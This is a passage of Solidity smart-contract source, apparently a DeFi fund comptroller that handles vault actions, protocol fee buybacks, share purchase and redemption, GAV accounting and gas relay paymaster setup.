/// @param _actionId An ID representing the action to take on the extension (see extension)
/// @param _callArgs The encoded data for the call
/// @dev Used to route arbitrary calls, so that msg.sender is the ComptrollerProxy
/// (for access control). Uses a mutex of sorts that allows "permissioned vault actions"
/// during calls originating from this function.
function callOnExtension(
address _extension,
uint256 _actionId,
bytes calldata _callArgs
) external override locksReentrance allowsPermissionedVaultAction {
require(
_extension == getFeeManager() ||
_extension == getIntegrationManager() ||
_extension == getExternalPositionManager(),
"callOnExtension: _extension invalid"
);
IExtension(_extension).receiveCallFromComptroller(__msgSender(), _actionId, _callArgs);
}
/// @notice Makes an arbitrary call with the VaultProxy contract as the sender
/// @param _contract The contract to call
/// @param _selector The selector to call
/// @param _encodedArgs The encoded arguments for the call
/// @return returnData_ The data returned by the call
function vaultCallOnContract(
address _contract,
bytes4 _selector,
bytes calldata _encodedArgs
) external onlyOwner returns (bytes memory returnData_) {
require(
IFundDeployer(getFundDeployer()).isAllowedVaultCall(
_contract,
_selector,
keccak256(_encodedArgs)
),
"vaultCallOnContract: Not allowed"
);
return
IVault(getVaultProxy()).callOnContract(
_contract,
abi.encodePacked(_selector, _encodedArgs)
);
}
/// @dev Helper to check if a VaultProxy has a pending migration or reconfiguration request
function __hasPendingMigrationOrReconfiguration(address _vaultProxy)
private
view
returns (bool hasPendingMigrationOrReconfiguration)
{
return
IDispatcher(getDispatcher()).hasMigrationRequest(_vaultProxy) ||
IFundDeployer(getFundDeployer()).hasReconfigurationRequest(_vaultProxy);
}
//////////////////
// PROTOCOL FEE //
//////////////////
/// @notice Buys back shares collected as protocol fee at a discounted shares price, using MLN
/// @param _sharesAmount The amount of shares to buy back
function buyBackProtocolFeeShares(uint256 _sharesAmount) external {
address vaultProxyCopy = vaultProxy;
require(
IVault(vaultProxyCopy).canManageAssets(__msgSender()),
"buyBackProtocolFeeShares: Unauthorized"
);
uint256 gav = calcGav();
IVault(vaultProxyCopy).buyBackProtocolFeeShares(
_sharesAmount,
__getBuybackValueInMln(vaultProxyCopy, _sharesAmount, gav),
gav
);
}
/// @notice Sets whether to attempt to buyback protocol fee shares immediately when collected
/// @param _nextAutoProtocolFeeSharesBuyback True if protocol fee shares should be attempted
/// to be bought back immediately when collected
function setAutoProtocolFeeSharesBuyback(bool _nextAutoProtocolFeeSharesBuyback)
external
onlyOwner
{
autoProtocolFeeSharesBuyback = _nextAutoProtocolFeeSharesBuyback;
emit AutoProtocolFeeSharesBuybackSet(_nextAutoProtocolFeeSharesBuyback);
}
/// @dev Helper to buyback the max available protocol fee shares, during an auto-buyback
function __buyBackMaxProtocolFeeShares(address _vaultProxy, uint256 _gav) private {
uint256 sharesAmount = ERC20(_vaultProxy).balanceOf(getProtocolFeeReserve());
uint256 buybackValueInMln = __getBuybackValueInMln(_vaultProxy, sharesAmount, _gav);
try
IVault(_vaultProxy).buyBackProtocolFeeShares(sharesAmount, buybackValueInMln, _gav)
{} catch (bytes memory reason) {
emit BuyBackMaxProtocolFeeSharesFailed(reason, sharesAmount, buybackValueInMln, _gav);
}
}
/// @dev Helper to buyback the max available protocol fee shares
function __getBuybackValueInMln(
address _vaultProxy,
uint256 _sharesAmount,
uint256 _gav
) private returns (uint256 buybackValueInMln_) {
address denominationAssetCopy = getDenominationAsset();
uint256 grossShareValue = __calcGrossShareValue(
_gav,
ERC20(_vaultProxy).totalSupply(),
10**uint256(ERC20(denominationAssetCopy).decimals())
);
uint256 buybackValueInDenominationAsset = grossShareValue.mul(_sharesAmount).div(
SHARES_UNIT
);
return
IValueInterpreter(getValueInterpreter()).calcCanonicalAssetValue(
denominationAssetCopy,
buybackValueInDenominationAsset,
getMlnToken()
);
}
////////////////////////////////
// PERMISSIONED VAULT ACTIONS //
////////////////////////////////
/// @notice Makes a permissioned, state-changing call on the VaultProxy contract
/// @param _action The enum representing the VaultAction to perform on the VaultProxy
/// @param _actionData The call data for the action to perform
function permissionedVaultAction(IVault.VaultAction _action, bytes calldata _actionData)
external
override
{
__assertPermissionedVaultAction(msg.sender, _action);
// Validate action as needed
if (_action == IVault.VaultAction.RemoveTrackedAsset) {
require(
abi.decode(_actionData, (address)) != getDenominationAsset(),
"permissionedVaultAction: Cannot untrack denomination asset"
);
}
IVault(getVaultProxy()).receiveValidatedVaultAction(_action, _actionData);
}
/// @dev Helper to assert that a caller is allowed to perform a particular VaultAction.
/// Uses this pattern rather than multiple `require` statements to save on contract size.
function __assertPermissionedVaultAction(address _caller, IVault.VaultAction _action)
private
view
{
bool validAction;
if (permissionedVaultActionAllowed) {
// Calls are roughly ordered by likely frequency
if (_caller == getIntegrationManager()) {
if (
_action == IVault.VaultAction.AddTrackedAsset ||
_action == IVault.VaultAction.RemoveTrackedAsset ||
_action == IVault.VaultAction.WithdrawAssetTo ||
_action == IVault.VaultAction.ApproveAssetSpender
) {
validAction = true;
}
} else if (_caller == getFeeManager()) {
if (
_action == IVault.VaultAction.MintShares ||
_action == IVault.VaultAction.BurnShares ||
_action == IVault.VaultAction.TransferShares
) {
validAction = true;
}
} else if (_caller == getExternalPositionManager()) {
if (
_action == IVault.VaultAction.CallOnExternalPosition ||
_action == IVault.VaultAction.AddExternalPosition ||
_action == IVault.VaultAction.RemoveExternalPosition
) {
validAction = true;
}
}
}
require(validAction, "__assertPermissionedVaultAction: Action not allowed");
}
///////////////
// LIFECYCLE //
///////////////
// Ordered by execution in the lifecycle
/// @notice Initializes a fund with its core config
/// @param _denominationAsset The asset in which the fund's value should be denominated
/// @param _sharesActionTimelock The minimum number of seconds between any two "shares actions"
/// (buying or selling shares) by the same user
/// @dev Pseudo-constructor per proxy.
/// No need to assert access because this is called atomically on deployment,
/// and once it's called, it cannot be called again.
function init(address _denominationAsset, uint256 _sharesActionTimelock) external override {
require(getDenominationAsset() == address(0), "init: Already initialized");
require(
IValueInterpreter(getValueInterpreter()).isSupportedPrimitiveAsset(_denominationAsset),
"init: Bad denomination asset"
);
denominationAsset = _denominationAsset;
sharesActionTimelock = _sharesActionTimelock;
}
/// @notice Sets the VaultProxy
/// @param _vaultProxy The VaultProxy contract
/// @dev No need to assert anything beyond FundDeployer access.
/// Called atomically with init(), but after ComptrollerProxy has been deployed.
function setVaultProxy(address _vaultProxy) external override onlyFundDeployer {
vaultProxy = _vaultProxy;
emit VaultProxySet(_vaultProxy);
}
/// @notice Runs atomic logic after a ComptrollerProxy has become its vaultProxy's `accessor`
/// @param _isMigration True if a migrated fund is being activated
/// @dev No need to assert anything beyond FundDeployer access.
function activate(bool _isMigration) external override onlyFundDeployer {
address vaultProxyCopy = getVaultProxy();
if (_isMigration) {
// Distribute any shares in the VaultProxy to the fund owner.
// This is a mechanism to ensure that even in the edge case of a fund being unable
// to payout fee shares owed during migration, these shares are not lost.
uint256 sharesDue = ERC20(vaultProxyCopy).balanceOf(vaultProxyCopy);
if (sharesDue > 0) {
IVault(vaultProxyCopy).transferShares(
vaultProxyCopy,
IVault(vaultProxyCopy).getOwner(),
sharesDue
);
emit MigratedSharesDuePaid(sharesDue);
}
}
IVault(vaultProxyCopy).addTrackedAsset(getDenominationAsset());
// Activate extensions
IExtension(getFeeManager()).activateForFund(_isMigration);
IExtension(getPolicyManager()).activateForFund(_isMigration);
}
/// @notice Wind down and destroy a ComptrollerProxy that is active
/// @param _deactivateFeeManagerGasLimit The amount of gas to forward to deactivate the FeeManager
/// @param _payProtocolFeeGasLimit The amount of gas to forward to pay the protocol fee
/// @dev No need to assert anything beyond FundDeployer access.
/// Uses the try/catch pattern throughout out of an abundance of caution for the function's success.
/// All external calls must use limited forwarded gas to ensure that a migration to another release
/// does not get bricked by logic that consumes too much gas for the block limit.
function destructActivated(
uint256 _deactivateFeeManagerGasLimit,
uint256 _payProtocolFeeGasLimit
) external override onlyFundDeployer allowsPermissionedVaultAction {
// Forwarding limited gas here also protects fee recipients by guaranteeing that fee payout logic
// will run in the next function call
try IVault(getVaultProxy()).payProtocolFee{gas: _payProtocolFeeGasLimit}() {} catch {
emit PayProtocolFeeDuringDestructFailed();
}
// Do not attempt to auto-buyback protocol fee shares in this case,
// as the call is gav-dependent and can consume too much gas
// Deactivate extensions only as-necessary
// Pays out shares outstanding for fees
try
IExtension(getFeeManager()).deactivateForFund{gas: _deactivateFeeManagerGasLimit}()
{} catch {
emit DeactivateFeeManagerFailed();
}
__selfDestruct();
}
/// @notice Destroy a ComptrollerProxy that has not been activated
function destructUnactivated() external override onlyFundDeployer {
__selfDestruct();
}
/// @dev Helper to self-destruct the contract.
/// There should never be ETH in the ComptrollerLib,
/// so no need to waste gas to get the fund owner
function __selfDestruct() private {
// Not necessary, but failsafe to protect the lib against selfdestruct
require(!isLib, "__selfDestruct: Only delegate callable");
selfdestruct(payable(address(this)));
}
////////////////
// ACCOUNTING //
////////////////
/// @notice Calculates the gross asset value (GAV) of the fund
/// @return gav_ The fund GAV
function calcGav() public override returns (uint256 gav_) {
address vaultProxyAddress = getVaultProxy();
address[] memory assets = IVault(vaultProxyAddress).getTrackedAssets();
address[] memory externalPositions = IVault(vaultProxyAddress)
.getActiveExternalPositions();
if (assets.length == 0 && externalPositions.length == 0) {
return 0;
}
uint256[] memory balances = new uint256[](assets.length);
for (uint256 i; i < assets.length; i++) {
balances[i] = ERC20(assets[i]).balanceOf(vaultProxyAddress);
}
gav_ = IValueInterpreter(getValueInterpreter()).calcCanonicalAssetsTotalValue(
assets,
balances,
getDenominationAsset()
);
if (externalPositions.length > 0) {
for (uint256 i; i < externalPositions.length; i++) {
uint256 externalPositionValue = __calcExternalPositionValue(externalPositions[i]);
gav_ = gav_.add(externalPositionValue);
}
}
return gav_;
}
/// @notice Calculates the gross value of 1 unit of shares in the fund's denomination asset
/// @return grossShareValue_ The amount of the denomination asset per share
/// @dev Does not account for any fees outstanding.
function calcGrossShareValue() external override returns (uint256 grossShareValue_) {
uint256 gav = calcGav();
grossShareValue_ = __calcGrossShareValue(
gav,
ERC20(getVaultProxy()).totalSupply(),
10**uint256(ERC20(getDenominationAsset()).decimals())
);
return grossShareValue_;
}
// @dev Helper for calculating a external position value. Prevents from stack too deep
function __calcExternalPositionValue(address _externalPosition)
private
returns (uint256 value_)
{
(address[] memory managedAssets, uint256[] memory managedAmounts) = IExternalPosition(
_externalPosition
)
.getManagedAssets();
uint256 managedValue = IValueInterpreter(getValueInterpreter())
.calcCanonicalAssetsTotalValue(managedAssets, managedAmounts, getDenominationAsset());
(address[] memory debtAssets, uint256[] memory debtAmounts) = IExternalPosition(
_externalPosition
)
.getDebtAssets();
uint256 debtValue = IValueInterpreter(getValueInterpreter()).calcCanonicalAssetsTotalValue(
debtAssets,
debtAmounts,
getDenominationAsset()
);
if (managedValue > debtValue) {
value_ = managedValue.sub(debtValue);
}
return value_;
}
/// @dev Helper for calculating the gross share value
function __calcGrossShareValue(
uint256 _gav,
uint256 _sharesSupply,
uint256 _denominationAssetUnit
) private pure returns (uint256 grossShareValue_) {
if (_sharesSupply == 0) {
return _denominationAssetUnit;
}
return _gav.mul(SHARES_UNIT).div(_sharesSupply);
}
///////////////////
// PARTICIPATION //
///////////////////
// BUY SHARES
/// @notice Buys shares on behalf of another user
/// @param _buyer The account on behalf of whom to buy shares
/// @param _investmentAmount The amount of the fund's denomination asset with which to buy shares
/// @param _minSharesQuantity The minimum quantity of shares to buy
/// @return sharesReceived_ The actual amount of shares received
/// @dev This function is freely callable if there is no sharesActionTimelock set, but it is
/// limited to a list of trusted callers otherwise, in order to prevent a griefing attack
/// where the caller buys shares for a _buyer, thereby resetting their lastSharesBought value.
function buySharesOnBehalf(
address _buyer,
uint256 _investmentAmount,
uint256 _minSharesQuantity
) external returns (uint256 sharesReceived_) {
bool hasSharesActionTimelock = getSharesActionTimelock() > 0;
address canonicalSender = __msgSender();
require(
!hasSharesActionTimelock ||
IFundDeployer(getFundDeployer()).isAllowedBuySharesOnBehalfCaller(canonicalSender),
"buySharesOnBehalf: Unauthorized"
);
return
__buyShares(
_buyer,
_investmentAmount,
_minSharesQuantity,
hasSharesActionTimelock,
canonicalSender
);
}
/// @notice Buys shares
/// @param _investmentAmount The amount of the fund's denomination asset
/// with which to buy shares
/// @param _minSharesQuantity The minimum quantity of shares to buy
/// @return sharesReceived_ The actual amount of shares received
function buyShares(uint256 _investmentAmount, uint256 _minSharesQuantity)
external
returns (uint256 sharesReceived_)
{
bool hasSharesActionTimelock = getSharesActionTimelock() > 0;
address canonicalSender = __msgSender();
return
__buyShares(
canonicalSender,
_investmentAmount,
_minSharesQuantity,
hasSharesActionTimelock,
canonicalSender
);
}
/// @dev Helper for buy shares logic
function __buyShares(
address _buyer,
uint256 _investmentAmount,
uint256 _minSharesQuantity,
bool _hasSharesActionTimelock,
address _canonicalSender
) private locksReentrance allowsPermissionedVaultAction returns (uint256 sharesReceived_) {
// Enforcing a _minSharesQuantity also validates `_investmentAmount > 0`
// and guarantees the function cannot succeed while minting 0 shares
require(_minSharesQuantity > 0, "__buyShares: _minSharesQuantity must be >0");
address vaultProxyCopy = getVaultProxy();
require(
!_hasSharesActionTimelock || !__hasPendingMigrationOrReconfiguration(vaultProxyCopy),
"__buyShares: Pending migration or reconfiguration"
);
uint256 gav = calcGav();
// Gives Extensions a chance to run logic prior to the minting of bought shares.
// Fees implementing this hook should be aware that
// it might be the case that _investmentAmount != actualInvestmentAmount,
// if the denomination asset charges a transfer fee, for example.
__preBuySharesHook(_buyer, _investmentAmount, gav);
// Pay the protocol fee after running other fees, but before minting new shares
IVault(vaultProxyCopy).payProtocolFee();
if (doesAutoProtocolFeeSharesBuyback()) {
__buyBackMaxProtocolFeeShares(vaultProxyCopy, gav);
}
// Transfer the investment asset to the fund.
// Does not follow the checks-effects-interactions pattern, but it is necessary to
// do this delta balance calculation before calculating shares to mint.
uint256 receivedInvestmentAmount = __transferFromWithReceivedAmount(
getDenominationAsset(),
_canonicalSender,
vaultProxyCopy,
_investmentAmount
);
// Calculate the amount of shares to issue with the investment amount
uint256 sharePrice = __calcGrossShareValue(
gav,
ERC20(vaultProxyCopy).totalSupply(),
10**uint256(ERC20(getDenominationAsset()).decimals())
);
uint256 sharesIssued = receivedInvestmentAmount.mul(SHARES_UNIT).div(sharePrice);
// Mint shares to the buyer
uint256 prevBuyerShares = ERC20(vaultProxyCopy).balanceOf(_buyer);
IVault(vaultProxyCopy).mintShares(_buyer, sharesIssued);
// Gives Extensions a chance to run logic after shares are issued
__postBuySharesHook(_buyer, receivedInvestmentAmount, sharesIssued, gav);
// The number of actual shares received may differ from shares issued due to
// how the PostBuyShares hooks are invoked by Extensions (i.e., fees)
sharesReceived_ = ERC20(vaultProxyCopy).balanceOf(_buyer).sub(prevBuyerShares);
require(
sharesReceived_ >= _minSharesQuantity,
"__buyShares: Shares received < _minSharesQuantity"
);
if (_hasSharesActionTimelock) {
acctToLastSharesBoughtTimestamp[_buyer] = block.timestamp;
}
emit SharesBought(_buyer, receivedInvestmentAmount, sharesIssued, sharesReceived_);
return sharesReceived_;
}
/// @dev Helper for Extension actions immediately prior to issuing shares
function __preBuySharesHook(
address _buyer,
uint256 _investmentAmount,
uint256 _gav
) private {
IFeeManager(getFeeManager()).invokeHook(
IFeeManager.FeeHook.PreBuyShares,
abi.encode(_buyer, _investmentAmount),
_gav
);
}
/// @dev Helper for Extension actions immediately after issuing shares.
/// This could be cleaned up so both Extensions take the same encoded args and handle GAV
/// in the same way, but there is not the obvious need for gas savings of recycling
/// the GAV value for the current policies as there is for the fees.
function __postBuySharesHook(
address _buyer,
uint256 _investmentAmount,
uint256 _sharesIssued,
uint256 _preBuySharesGav
) private {
uint256 gav = _preBuySharesGav.add(_investmentAmount);
IFeeManager(getFeeManager()).invokeHook(
IFeeManager.FeeHook.PostBuyShares,
abi.encode(_buyer, _investmentAmount, _sharesIssued),
gav
);
IPolicyManager(getPolicyManager()).validatePolicies(
address(this),
IPolicyManager.PolicyHook.PostBuyShares,
abi.encode(_buyer, _investmentAmount, _sharesIssued, gav)
);
}
/// @dev Helper to execute ERC20.transferFrom() while calculating the actual amount received
function __transferFromWithReceivedAmount(
address _asset,
address _sender,
address _recipient,
uint256 _transferAmount
) private returns (uint256 receivedAmount_) {
uint256 preTransferRecipientBalance = ERC20(_asset).balanceOf(_recipient);
ERC20(_asset).safeTransferFrom(_sender, _recipient, _transferAmount);
return ERC20(_asset).balanceOf(_recipient).sub(preTransferRecipientBalance);
}
// REDEEM SHARES
/// @notice Redeems a specified amount of the sender's shares for specified asset proportions
/// @param _recipient The account that will receive the specified assets
/// @param _sharesQuantity The quantity of shares to redeem
/// @param _payoutAssets The assets to payout
/// @param _payoutAssetPercentages The percentage of the owed amount to pay out in each asset
/// @return payoutAmounts_ The amount of each asset paid out to the _recipient
/// @dev Redeem all shares of the sender by setting _sharesQuantity to the max uint value.
/// _payoutAssetPercentages must total exactly 100%. In order to specify less and forgo the
/// remaining gav owed on the redeemed shares, pass in address(0) with the percentage to forego.
/// Unlike redeemSharesInKind(), this function allows policies to run and prevent redemption.
function redeemSharesForSpecificAssets(
address _recipient,
uint256 _sharesQuantity,
address[] calldata _payoutAssets,
uint256[] calldata _payoutAssetPercentages
) external locksReentrance returns (uint256[] memory payoutAmounts_) {
address canonicalSender = __msgSender();
require(
_payoutAssets.length == _payoutAssetPercentages.length,
"redeemSharesForSpecificAssets: Unequal arrays"
);
require(
_payoutAssets.isUniqueSet(),
"redeemSharesForSpecificAssets: Duplicate payout asset"
);
uint256 gav = calcGav();
IVault vaultProxyContract = IVault(getVaultProxy());
(uint256 sharesToRedeem, uint256 sharesSupply) = __redeemSharesSetup(
vaultProxyContract,
canonicalSender,
_sharesQuantity,
true,
gav
);
payoutAmounts_ = __payoutSpecifiedAssetPercentages(
vaultProxyContract,
_recipient,
_payoutAssets,
_payoutAssetPercentages,
gav.mul(sharesToRedeem).div(sharesSupply)
);
// Run post-redemption in order to have access to the payoutAmounts
__postRedeemSharesForSpecificAssetsHook(
canonicalSender,
_recipient,
sharesToRedeem,
_payoutAssets,
payoutAmounts_,
gav
);
emit SharesRedeemed(
canonicalSender,
_recipient,
sharesToRedeem,
_payoutAssets,
payoutAmounts_
);
return payoutAmounts_;
}
/// @notice Redeems a specified amount of the sender's shares
/// for a proportionate slice of the vault's assets
/// @param _recipient The account that will receive the proportionate slice of assets
/// @param _sharesQuantity The quantity of shares to redeem
/// @param _additionalAssets Additional (non-tracked) assets to claim
/// @param _assetsToSkip Tracked assets to forfeit
/// @return payoutAssets_ The assets paid out to the _recipient
/// @return payoutAmounts_ The amount of each asset paid out to the _recipient
/// @dev Redeem all shares of the sender by setting _sharesQuantity to the max uint value.
/// Any claim to passed _assetsToSkip will be forfeited entirely. This should generally
/// only be exercised if a bad asset is causing redemption to fail.
/// This function should never fail without a way to bypass the failure, which is assured
/// through two mechanisms:
/// 1. The FeeManager is called with the try/catch pattern to assure that calls to it
/// can never block redemption.
/// 2. If a token fails upon transfer(), that token can be skipped (and its balance forfeited)
/// by explicitly specifying _assetsToSkip.
/// Because of these assurances, shares should always be redeemable, with the exception
/// of the timelock period on shares actions that must be respected.
function redeemSharesInKind(
address _recipient,
uint256 _sharesQuantity,
address[] calldata _additionalAssets,
address[] calldata _assetsToSkip
)
external
locksReentrance
returns (address[] memory payoutAssets_, uint256[] memory payoutAmounts_)
{
address canonicalSender = __msgSender();
require(
_additionalAssets.isUniqueSet(),
"redeemSharesInKind: _additionalAssets contains duplicates"
);
require(
_assetsToSkip.isUniqueSet(),
"redeemSharesInKind: _assetsToSkip contains duplicates"
);
// Parse the payout assets given optional params to add or skip assets.
// Note that there is no validation that the _additionalAssets are known assets to
// the protocol. This means that the redeemer could specify a malicious asset,
// but since all state-changing, user-callable functions on this contract share the
// non-reentrant modifier, there is nowhere to perform a reentrancy attack.
payoutAssets_ = __parseRedemptionPayoutAssets(
IVault(vaultProxy).getTrackedAssets(),
_additionalAssets,
_assetsToSkip
);
// If protocol fee shares will be auto-bought back, attempt to calculate GAV to pass into fees,
// as we will require GAV later during the buyback.
uint256 gavOrZero;
if (doesAutoProtocolFeeSharesBuyback()) {
// Since GAV calculation can fail with a revering price or a no-longer-supported asset,
// we must try/catch GAV calculation to ensure that in-kind redemption can still succeed
try this.calcGav() returns (uint256 gav) {
gavOrZero = gav;
} catch {
emit RedeemSharesInKindCalcGavFailed();
}
}
(uint256 sharesToRedeem, uint256 sharesSupply) = __redeemSharesSetup(
IVault(vaultProxy),
canonicalSender,
_sharesQuantity,
false,
gavOrZero
);
// Calculate and transfer payout asset amounts due to _recipient
payoutAmounts_ = new uint256[](payoutAssets_.length);
for (uint256 i; i < payoutAssets_.length; i++) {
payoutAmounts_[i] = ERC20(payoutAssets_[i])
.balanceOf(vaultProxy)
.mul(sharesToRedeem)
.div(sharesSupply);
// Transfer payout asset to _recipient
if (payoutAmounts_[i] > 0) {
IVault(vaultProxy).withdrawAssetTo(
payoutAssets_[i],
_recipient,
payoutAmounts_[i]
);
}
}
emit SharesRedeemed(
canonicalSender,
_recipient,
sharesToRedeem,
payoutAssets_,
payoutAmounts_
);
return (payoutAssets_, payoutAmounts_);
}
/// @dev Helper to parse an array of payout assets during redemption, taking into account
/// additional assets and assets to skip. _assetsToSkip ignores _additionalAssets.
/// All input arrays are assumed to be unique.
function __parseRedemptionPayoutAssets(
address[] memory _trackedAssets,
address[] memory _additionalAssets,
address[] memory _assetsToSkip
) private pure returns (address[] memory payoutAssets_) {
address[] memory trackedAssetsToPayout = _trackedAssets.removeItems(_assetsToSkip);
if (_additionalAssets.length == 0) {
return trackedAssetsToPayout;
}
// Add additional assets. Duplicates of trackedAssets are ignored.
bool[] memory indexesToAdd = new bool[](_additionalAssets.length);
uint256 additionalItemsCount;
for (uint256 i; i < _additionalAssets.length; i++) {
if (!trackedAssetsToPayout.contains(_additionalAssets[i])) {
indexesToAdd[i] = true;
additionalItemsCount++;
}
}
if (additionalItemsCount == 0) {
return trackedAssetsToPayout;
}
payoutAssets_ = new address[](trackedAssetsToPayout.length.add(additionalItemsCount));
for (uint256 i; i < trackedAssetsToPayout.length; i++) {
payoutAssets_[i] = trackedAssetsToPayout[i];
}
uint256 payoutAssetsIndex = trackedAssetsToPayout.length;
for (uint256 i; i < _additionalAssets.length; i++) {
if (indexesToAdd[i]) {
payoutAssets_[payoutAssetsIndex] = _additionalAssets[i];
payoutAssetsIndex++;
}
}
return payoutAssets_;
}
/// @dev Helper to payout specified asset percentages during redeemSharesForSpecificAssets()
function __payoutSpecifiedAssetPercentages(
IVault vaultProxyContract,
address _recipient,
address[] calldata _payoutAssets,
uint256[] calldata _payoutAssetPercentages,
uint256 _owedGav
) private returns (uint256[] memory payoutAmounts_) {
address denominationAssetCopy = getDenominationAsset();
uint256 percentagesTotal;
payoutAmounts_ = new uint256[](_payoutAssets.length);
for (uint256 i; i < _payoutAssets.length; i++) {
percentagesTotal = percentagesTotal.add(_payoutAssetPercentages[i]);
// Used to explicitly specify less than 100% in total _payoutAssetPercentages
if (_payoutAssets[i] == SPECIFIC_ASSET_REDEMPTION_DUMMY_FORFEIT_ADDRESS) {
continue;
}
payoutAmounts_[i] = IValueInterpreter(getValueInterpreter()).calcCanonicalAssetValue(
denominationAssetCopy,
_owedGav.mul(_payoutAssetPercentages[i]).div(ONE_HUNDRED_PERCENT),
_payoutAssets[i]
);
// Guards against corner case of primitive-to-derivative asset conversion that floors to 0,
// or redeeming a very low shares amount and/or percentage where asset value owed is 0
require(
payoutAmounts_[i] > 0,
"__payoutSpecifiedAssetPercentages: Zero amount for asset"
);
vaultProxyContract.withdrawAssetTo(_payoutAssets[i], _recipient, payoutAmounts_[i]);
}
require(
percentagesTotal == ONE_HUNDRED_PERCENT,
"__payoutSpecifiedAssetPercentages: Percents must total 100%"
);
return payoutAmounts_;
}
/// @dev Helper for system actions immediately prior to redeeming shares.
/// Policy validation is not currently allowed on redemption, to ensure continuous redeemability.
function __preRedeemSharesHook(
address _redeemer,
uint256 _sharesToRedeem,
bool _forSpecifiedAssets,
uint256 _gavIfCalculated
) private allowsPermissionedVaultAction {
try
IFeeManager(getFeeManager()).invokeHook(
IFeeManager.FeeHook.PreRedeemShares,
abi.encode(_redeemer, _sharesToRedeem, _forSpecifiedAssets),
_gavIfCalculated
)
{} catch (bytes memory reason) {
emit PreRedeemSharesHookFailed(reason, _redeemer, _sharesToRedeem);
}
}
/// @dev Helper to run policy validation after other logic for redeeming shares for specific assets.
/// Avoids stack-too-deep error.
function __postRedeemSharesForSpecificAssetsHook(
address _redeemer,
address _recipient,
uint256 _sharesToRedeemPostFees,
address[] memory _assets,
uint256[] memory _assetAmounts,
uint256 _gavPreRedeem
) private {
IPolicyManager(getPolicyManager()).validatePolicies(
address(this),
IPolicyManager.PolicyHook.RedeemSharesForSpecificAssets,
abi.encode(
_redeemer,
_recipient,
_sharesToRedeemPostFees,
_assets,
_assetAmounts,
_gavPreRedeem
)
);
}
/// @dev Helper to execute common pre-shares redemption logic
function __redeemSharesSetup(
IVault vaultProxyContract,
address _redeemer,
uint256 _sharesQuantityInput,
bool _forSpecifiedAssets,
uint256 _gavIfCalculated
) private returns (uint256 sharesToRedeem_, uint256 sharesSupply_) {
__assertSharesActionNotTimelocked(address(vaultProxyContract), _redeemer);
ERC20 sharesContract = ERC20(address(vaultProxyContract));
uint256 preFeesRedeemerSharesBalance = sharesContract.balanceOf(_redeemer);
if (_sharesQuantityInput == type(uint256).max) {
sharesToRedeem_ = preFeesRedeemerSharesBalance;
} else {
sharesToRedeem_ = _sharesQuantityInput;
}
require(sharesToRedeem_ > 0, "__redeemSharesSetup: No shares to redeem");
__preRedeemSharesHook(_redeemer, sharesToRedeem_, _forSpecifiedAssets, _gavIfCalculated);
// Update the redemption amount if fees were charged (or accrued) to the redeemer
uint256 postFeesRedeemerSharesBalance = sharesContract.balanceOf(_redeemer);
if (_sharesQuantityInput == type(uint256).max) {
sharesToRedeem_ = postFeesRedeemerSharesBalance;
} else if (postFeesRedeemerSharesBalance < preFeesRedeemerSharesBalance) {
sharesToRedeem_ = sharesToRedeem_.sub(
preFeesRedeemerSharesBalance.sub(postFeesRedeemerSharesBalance)
);
}
// Pay the protocol fee after running other fees, but before burning shares
vaultProxyContract.payProtocolFee();
if (_gavIfCalculated > 0 && doesAutoProtocolFeeSharesBuyback()) {
__buyBackMaxProtocolFeeShares(address(vaultProxyContract), _gavIfCalculated);
}
// Destroy the shares after getting the shares supply
sharesSupply_ = sharesContract.totalSupply();
vaultProxyContract.burnShares(_redeemer, sharesToRedeem_);
return (sharesToRedeem_, sharesSupply_);
}
// TRANSFER SHARES
/// @notice Runs logic prior to transferring shares that are not freely transferable
/// @param _sender The sender of the shares
/// @param _recipient The recipient of the shares
/// @param _amount The amount of shares
function preTransferSharesHook(
address _sender,
address _recipient,
uint256 _amount
) external override {
address vaultProxyCopy = getVaultProxy();
require(msg.sender == vaultProxyCopy, "preTransferSharesHook: Only VaultProxy callable");
__assertSharesActionNotTimelocked(vaultProxyCopy, _sender);
IPolicyManager(getPolicyManager()).validatePolicies(
address(this),
IPolicyManager.PolicyHook.PreTransferShares,
abi.encode(_sender, _recipient, _amount)
);
}
/// @notice Runs logic prior to transferring shares that are freely transferable
/// @param _sender The sender of the shares
/// @dev No need to validate caller, as policies are not run
function preTransferSharesHookFreelyTransferable(address _sender) external view override {
__assertSharesActionNotTimelocked(getVaultProxy(), _sender);
}
/////////////////
// GAS RELAYER //
/////////////////
/// @notice Deploys a paymaster contract and deposits WETH, enabling gas relaying
function deployGasRelayPaymaster() external onlyOwnerNotRelayable {
require(
getGasRelayPaymaster() == address(0),
"deployGasRelayPaymaster: Paymaster already deployed"
);
bytes memory constructData = abi.encodeWithSignature("init(address)", getVaultProxy());
address paymaster = IBeaconProxyFactory(getGasRelayPaymasterFactory()).deployProxy(
constructData
);
__setGasRelayPaymaster(paymaster);
__depositToGasRelayPaymaster(paymaster);
}
/// @notice Tops up the gas relay paymaster deposit
function depositToGasRelayPaymaster() external onlyOwner {
__depositToGasRelayPaymaster(getGasRelayPaymaster());
}
/// @notice Pull WETH from vault to gas relay paymaster
/// @param _amount Amount of the WETH to pull from the vault
function pullWethForGasRelayer(uint256 _amount) external override onlyGasRelayPaymaster {
IVault(getVaultProxy()).withdrawAssetTo(getWethToken(), getGasRelayPaymaster(), _amount);
}
/// @notice Sets the gasRelayPaymaster variable value
/// @param _nextGasRelayPaymaster The next gasRelayPaymaster value
function setGasRelayPaymaster(address _nextGasRelayPaymaster)
external
override
onlyFundDeployer
{
__setGasRelayPaymaster(_nextGasRelayPaymaster);
}
/// @notice Removes the gas relay paymaster, withdrawing the remaining WETH balance
/// and disabling gas relaying
function shutdownGasRelayPaymaster() external onlyOwnerNotRelayable {
IGasRelayPaymaster(gasRelayPaymaster).withdrawBalance();
IVault(vaultProxy).addTrackedAsset(getWethToken());
delete gasRelayPaymaster;
emit GasRelayPaymasterSet(address(0));
}
/// @dev Helper to deposit to the gas relay paymaster
function __depositToGasRelayPaymaster(address _paymaster) private {
IGasRelayPaymaster(_paymaster).deposit();
}
/// @dev Helper to set the next `gasRelayPaymaster` variable
function __setGasRelayPaymaster(address _nextGasRelayPaymaster) private {
gasRelayPaymaster = _nextGasRelayPaymaster;
emit GasRelayPaymasterSet(_nextGasRelayPaymaster);
}
///////////////////
// STATE GETTERS //
///////////////////
// LIB IMMUTABLES
/// @notice Gets the `DISPATCHER` variable
/// @return dispatcher_ The `DISPATCHER` variable value
function getDispatcher() public view returns (address dispatcher_) {
return DISPATCHER;
}
/// @notice Gets the `EXTERNAL_POSITION_MANAGER` variable
/// @return externalPositionManager_ The `EXTERNAL_POSITION_MANAGER` variable value
function getExternalPositionManager()
public
view
override
returns (address externalPositionManager_)
{
return EXTERNAL_POSITION_MANAGER;
}
